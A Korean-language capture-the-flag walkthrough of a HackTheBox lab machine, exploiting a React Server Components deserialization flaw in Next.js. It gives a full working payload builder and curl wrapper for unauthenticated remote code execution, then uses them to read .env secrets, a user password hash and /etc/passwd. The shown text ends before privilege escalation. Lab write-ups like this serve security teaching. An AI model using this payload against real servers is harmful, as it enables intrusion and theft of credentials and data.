
HTB의 Reactor 머신 전체 워크스루 — CVE-2025-55182를 악용하여 셸을 획득한 다음, 노출된 Node.js 디버거를 통해 root 권한을 얻습니다. 스크린샷과 함께 단계별로 진행합니다.
[!CAUTION] 스포일러 경고. 이 문서는 플래그를 포함한 전체 풀이 과정입니다. 직접 머신을 풀고 싶다면 지금 이 문서를 닫고, 막힐 때 다시 오세요.
| 필드 | 세부 정보 |
|---|---|
| 이름 | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| 난이도 | 중간 |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| 포트 | 22 (SSH), 3000 (Next.js) |
| 작성자 | sonnycroco |
Reactor는 ReactorWatch라는 원자력 발전소 모니터링 대시보드를 주제로 한 머신입니다. 이 머신은 두 가지 취약점을 연쇄적으로 활용하는 것으로 완전히 구성되어 있으며, 추측, 토끼굴, 무차별 대입은 필요 없습니다.
경로는 다음과 같습니다: 프리릴리스 React 19 빌드가 단 한 번의 HTTP 요청으로 인증 없는 원격 코드 실행을 가능하게 하는 치명적인 역직렬화 결함을 노출합니다. 그런 다음 localhost에 노출된 Node.js 디버깅 포트가 WebSocket 메시지 하나로 전체 시스템 접근 권한을 root로 제공합니다.
공격 체인:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
새 머신에서 가장 먼저 해야 할 일은 어떤 포트가 열려 있는지 확인하는 것입니다. 놓치는 것이 없도록 서비스 탐지를 포함한 전체 포트 스캔을 수행합니다.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

포트는 두 개뿐입니다. SSH는 아직 자격 증명이 없으므로 이 단계에서는 막다른 길입니다. 포트 3000이 대상입니다. Nmap은 이미 Next.js 15.0.3임을 알려주고 있으며, 이는 좋은 단서입니다.
무작정 익스플로잇을 시도하기 전에 실행 중인 모든 것의 정확한 버전을 알고 싶습니다. HTTP 헤더에서 이미 Next.js가 드러났지만, React 버전이 결정적인 세부 사항입니다. React 19는 정식 출시 전에 오랫동안 프리릴리스 상태였으며, 안정화 이전에 몇 가지 심각한 문제가 있었습니다.
클라이언트 측 JavaScript 청크 중 하나를 가져와 확인합니다:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
버전 문자열에 있는 rc는 결정적인 증거입니다. 이는 정식 버전이 아닌 React 19의 릴리스 후보 빌드입니다. CVE 데이터베이스는 CVE-2025-55182가 정확히 이 빌드에 영향을 미친다고 확인합니다. CVSS 10.0입니다.
이 참에 미들웨어 단서가 있는지 헤더를 확인합니다:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-middleware-rewrite 헤더가 어디에도 없으므로 Next.js 미들웨어가 설치되어 있지 않습니다. 이는 CVE-2025-29927(미들웨어 우회)을 배제합니다. 시간을 낭비하지 않도록 알아두면 좋습니다.
알아낸 사실:
experimental.serverActions가 활성화된 Next.js 15.0.319.0.0-rc
React 19의 Server Components는 Server Actions를 도입했는데, 이는 클라이언트가 Next-Action 헤더가 포함된 HTTP POST를 통해 호출할 수 있는 서버 측 함수입니다. 이러한 요청을 처리하는 multipart 본문 파서에는 치명적인 결함이 있습니다. $1:__proto__:then이라는 참조 유형을 안전하지 않게 역직렬화합니다.
_response._prefix를 임의의 JavaScript로 설정하는 multipart 본문을 조작함으로써 공격자는 해당 코드가 서버에서 실행되게 만듭니다. 그런 다음 출력은 Next.js가 리다이렉트에 내부적으로 사용하는 예외(NEXT_REDIRECT)를 통해 몰래 빼내지며, 결국 x-action-redirect 응답 헤더에 URL 인코딩된 형태로 포함됩니다.
Next-Action 헤더가 포함된 어느 페이지로의 POST든 이 취약점을 트리거합니다. 인증 확인도, 특별한 엔드포인트도 필요 없습니다. 그냥 /로 페이로드를 보내면 침투됩니다.
셸 명령을 입력으로 받아 multipart 페이로드를 만들고, curl이 보낼 수 있도록 디스크에 기록하는 작은 Python 도우미입니다:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
의사 셸 느낌을 위해 모든 것을 셸 함수로 감쌉니다:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
원시 HTTP 교환입니다. 명령 출력이 리다이렉트 헤더에 그대로 들어 있습니다:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
node 서비스 계정으로 침투했습니다. 인증도, 무차별 대입도, 사회 공학도 필요 없었습니다. 단 한 번의 HTTP POST만으로 말입니다. 이것이 실제 상황에서의 CVSS 10.0의 위력입니다.

[!WARNING] 계속 진행하기 전에 알아야 할 두 가지:
execSync는 동기적이어서 응답 스레드를 차단합니다. 이것으로 리버스 셸을 띄우려 하지 마세요. 대신 비동기exec()를 사용하지 않으면 서버가 멈출 수 있습니다.NEXT_REDIRECT템플릿 리터럴은 줄바꿈에서 깨집니다. URL에 넣기 전에 항상paste -sd,로 여러 줄 출력을 한 줄로 평탄화하세요.
node 계정으로 살펴보기코드 실행을 확보했으니 다음 목표는 환경을 파악하는 것입니다: 이 머신에 무엇이 있는지, 어떤 자격 증명이 놓여 있는지, 더 높은 권한의 사용자로 갈 수 있는 명확한 경로가 있는지.
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
디스크에 SQLite 데이터베이스가 있습니다. 내부를 확인해 보겠습니다:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
MD5 해시를 가진 관리자 계정입니다. John에 rockyou를 사용해 크랙을 시도했지만 풀리지 않습니다. 괜찮습니다. 실제 권한 상승 경로를 찾으면 해시 크랙은 불필요하다는 것이 밝혀지니까요. 이건 제쳐 두고 계속 진행합니다.
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
engineer라는 사용자가 있습니다. 사용자 플래그는 이 사용자의 홈 디렉터리에 있습니다.